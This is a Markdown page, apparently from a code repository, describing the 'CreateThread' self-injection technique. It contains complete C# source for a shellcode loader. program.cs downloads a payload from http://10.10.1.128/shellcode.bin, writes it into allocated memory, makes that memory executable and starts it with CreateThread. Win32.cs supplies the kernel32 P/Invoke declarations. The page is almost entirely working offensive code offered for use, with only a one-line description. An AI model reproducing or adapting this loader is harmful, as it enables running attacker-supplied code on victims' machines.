130 lines
3.5 KiB
Markdown
130 lines
3.5 KiB
Markdown
# CreateThread
|
|
|
|
Most simple injection technique, performs a self injection into the current running process. Shellcode is executed inline.
|
|
|
|
`program.cs`
|
|
|
|
```csharp
|
|
using System;
|
|
using System.Net.Http;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace CreateThread
|
|
{
|
|
internal class Program
|
|
{
|
|
static async Task Main(string[] args)
|
|
{
|
|
byte[] shellcode;
|
|
var addr = "http://10.10.1.128/shellcode.bin";
|
|
|
|
using (var client = new HttpClient())
|
|
{
|
|
shellcode = await client.GetByteArrayAsync(addr);
|
|
}
|
|
|
|
// allocate base addr as RW
|
|
var baseAddr = Win32.VirtualAlloc(
|
|
IntPtr.Zero,
|
|
(uint)shellcode.Length,
|
|
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
|
Win32.MemoryProtection.ReadWrite);
|
|
|
|
// copy shellcode into mem
|
|
Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);
|
|
|
|
// Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _`
|
|
Win32.VirtualProtect(
|
|
baseAddr,
|
|
(uint)shellcode.Length,
|
|
Win32.MemoryProtection.ExecuteRead,
|
|
out _);
|
|
|
|
// Call CreateThread
|
|
var hThread = Win32.CreateThread(
|
|
IntPtr.Zero,
|
|
0,
|
|
baseAddr,
|
|
IntPtr.Zero,
|
|
0,
|
|
out _);
|
|
|
|
// CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running
|
|
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
|
|
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
`Win32.cs`
|
|
|
|
```csharp
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace CreateThread
|
|
{
|
|
internal class Win32
|
|
{
|
|
[DllImport("kernel32.dll")]
|
|
public static extern IntPtr VirtualAlloc(
|
|
IntPtr lpAddress,
|
|
uint dwSize,
|
|
AllocationType flAllocationType,
|
|
MemoryProtection flProtect);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern IntPtr CreateThread(
|
|
IntPtr lpThreadAttributes,
|
|
uint dwStackSize,
|
|
IntPtr lpStartAddress,
|
|
IntPtr lpParameter,
|
|
uint dwCreationFlags,
|
|
out IntPtr lpThreadId);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern bool VirtualProtect(
|
|
IntPtr lpAddress,
|
|
uint dwSize,
|
|
MemoryProtection flNewProtect,
|
|
out MemoryProtection lpflOldProtect);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern uint WaitForSingleObject(
|
|
IntPtr hHandle,
|
|
uint dwMilliseconds);
|
|
|
|
[Flags]
|
|
public enum AllocationType
|
|
{
|
|
Commit = 0x1000,
|
|
Reserve = 0x2000,
|
|
Decommit = 0x4000,
|
|
Release = 0x8000,
|
|
Reset = 0x80000,
|
|
Physical = 0x400000,
|
|
TopDown = 0x100000,
|
|
WriteWatch = 0x200000,
|
|
LargePages = 0x20000000
|
|
}
|
|
|
|
[Flags]
|
|
public enum MemoryProtection
|
|
{
|
|
Execute = 0x10,
|
|
ExecuteRead = 0x20,
|
|
ExecuteReadWrite = 0x40,
|
|
ExecuteWriteCopy = 0x80,
|
|
NoAccess = 0x01,
|
|
ReadOnly = 0x02,
|
|
ReadWrite = 0x04,
|
|
WriteCopy = 0x08,
|
|
GuardModifierflag = 0x100,
|
|
NoCacheModifierflag = 0x200,
|
|
WriteCombineModifierflag = 0x400
|
|
}
|
|
}
|
|
}
|
|
``` |